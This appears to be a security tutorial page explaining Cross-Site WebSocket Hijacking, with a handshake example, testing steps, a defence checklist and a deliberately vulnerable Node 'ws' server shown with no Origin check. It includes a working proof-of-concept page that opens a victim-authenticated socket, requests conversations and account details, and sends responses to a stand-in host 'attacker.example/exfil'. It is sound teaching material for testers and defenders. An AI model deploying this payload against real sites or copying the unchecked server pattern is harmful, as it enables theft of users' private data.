Cross-Site WebSocket Hijacking
The handshake is a subresource GET with no CORS — which is why it needs Origin validation, and why SameSite=None is its precondition.
CSRF with a read channel attached
A WebSocket connection begins as an ordinary HTTP GET carrying an Upgrade: websocket header. Two properties of that handshake make it interesting:
- It is not subject to CORS. The same-origin policy does not apply to WebSockets. There is no preflight, no
Access-Control-Allow-Originrequirement, and no browser-enforced restriction on which origins may connect. - It carries cookies, subject to the same rules as any other subresource request.
So if the server authenticates the connection using only the session cookie, an attacker's page can open a socket that is fully authenticated as the victim — and unlike ordinary CSRF, this is not blind. Once the socket is open it is bidirectional: the attacker sends messages and reads the responses.
That makes CSWSH strictly more powerful than form-based CSRF. The limiting factor in 2026 is the cookie: the handshake is a subresource, so it only carries a SameSite=None; Secure cookie, and even then only in Chromium.
The defence is Origin validation, and it must be written by hand — no framework does it for you, because the browser is not enforcing anything here.
The handshake
GET /socket HTTP/1.1
Host: app.example
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Cookie: session=eyJ1c2VyIjoidmljdGltIn0
Origin: https://attacker.example
# The Origin header is set by the browser and cannot be forged by the page.
# It is the ONLY thing distinguishing this from a legitimate connection --
# and nothing enforces it automatically. If the server does not read it,
# the connection is accepted.
#
# Note also: because there is no CORS, the server does not have to opt in to
# anything. Silence is acceptance.
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=The attack
<!doctype html>
<html>
<body>
<script>
// No credentials option to set and no CORS to satisfy -- the browser
// attaches cookies to the handshake automatically, exactly as it would
// for any other subresource request.
const ws = new WebSocket('wss://app.example/socket')
ws.onopen = () => {
// Authenticated as the victim. Whatever the protocol allows, we can
// now do -- read history, send messages, change settings.
ws.send(JSON.stringify({ type: 'listConversations' }))
ws.send(JSON.stringify({ type: 'getAccountDetails' }))
}
// The part that makes this worse than form CSRF: we can READ. There is
// no opaque-response restriction on a WebSocket, so everything the
// server sends back is available to exfiltrate.
ws.onmessage = (e) => {
navigator.sendBeacon('https://attacker.example/exfil', e.data)
}
</script>
</body>
</html>
<!-- Precondition, and it is a real one: the handshake is a SUBRESOURCE
request. It carries the session cookie only if that cookie is
SameSite=None; Secure -- and then only in Chromium, since Firefox
partitions third-party cookies and Safari blocks them.
Check the Set-Cookie before spending time here. If the cookie is Lax,
Strict, or unset, the socket opens unauthenticated and there is nothing
to report. -->Testing
- Find the socket. Look for
ws://orwss://in the JavaScript, or filter by WS in the browser devtools network tab. Burp shows the handshake in the HTTP history and the frames in the WebSockets view. - Establish the cookie posture first. If the session cookie is not
SameSite=None, the attack cannot work from a cross-site page and there is no finding. This is the step that saves the most time. - Check how the connection is authenticated. If a token is passed in the URL or in the first message, and the cookie alone is not sufficient, it is not exploitable this way — the attacker cannot supply the token.
- Replay the handshake with a modified
Origin. In your proxy, changeOrigintohttps://evil.exampleand let the handshake through. A101response means the origin is not validated. - Confirm from a real cross-origin page. The proxy test proves the server does not check; only a real browser test proves the cookie arrives. Host the PoC on a different origin and open it in Chrome.
- Map the protocol. The impact is whatever the socket allows. Enumerate the message types the client sends and try each one.
Also check whether the connection re-authorises per message or trusts the handshake for the connection's lifetime — the latter is common and means one successful handshake grants everything.
Prevention
const { WebSocketServer } = require('ws')
const wss = new WebSocketServer({ server })
wss.on('connection', (ws, req) => {
// The session cookie is parsed and trusted. The Origin header is never
// looked at, and nothing in the WebSocket protocol or the browser will
// check it on the server's behalf.
//
// Any origin on the internet can open this socket as any logged-in user
// whose cookie is SameSite=None.
const session = parseSession(req.headers.cookie)
if (!session) return ws.close(1008, 'Unauthorized')
ws.userId = session.userId
ws.on('message', (msg) => handleMessage(ws, JSON.parse(msg)))
})Checklist
- Validate
Originon every handshake, exact-matched against an allowlist. Nothing does this for you. - Reject a missing
Originon browser-facing sockets. Browsers always send it. - Require a CSRF token in the handshake, bound to the session, as a second layer. The attacker cannot read it.
- Prefer
SameSite=Laxon the session cookie, which removes the precondition entirely. - Consider a dedicated connection token — short-lived, single-use, fetched over a normal same-origin request — rather than authenticating the socket from the cookie alone. This is the cleanest design and it makes the whole class inapplicable.
- Authorize each message, not just the connection.
- Rate-limit and time-bound connections, so a hijacked socket is not indefinite.
Related
mode: 'no-cors', credentials: 'include', the safelisted-header guard, and the opaque response.
Sec-Fetch-Site, Mode and Dest, Origin checks done correctly, the missing-header decision, and Resource Isolation Policy.
Exactly when Lax, Strict, None, and an absent attribute attach a cookie to a cross-site request — and why the three engines disagree.
CORS gates reading, not sending. Simple versus preflighted requests, opaque responses, and why write-without-read is enough for CSRF.
Reflected Access-Control-Allow-Origin with credentials, null origin allowlists, and the upgrade from a blind write to read-and-write.
A server-side token bound to the session, plus the lifecycle questions: per-request versus per-session, rotation, BREACH masking, and back-button breakage.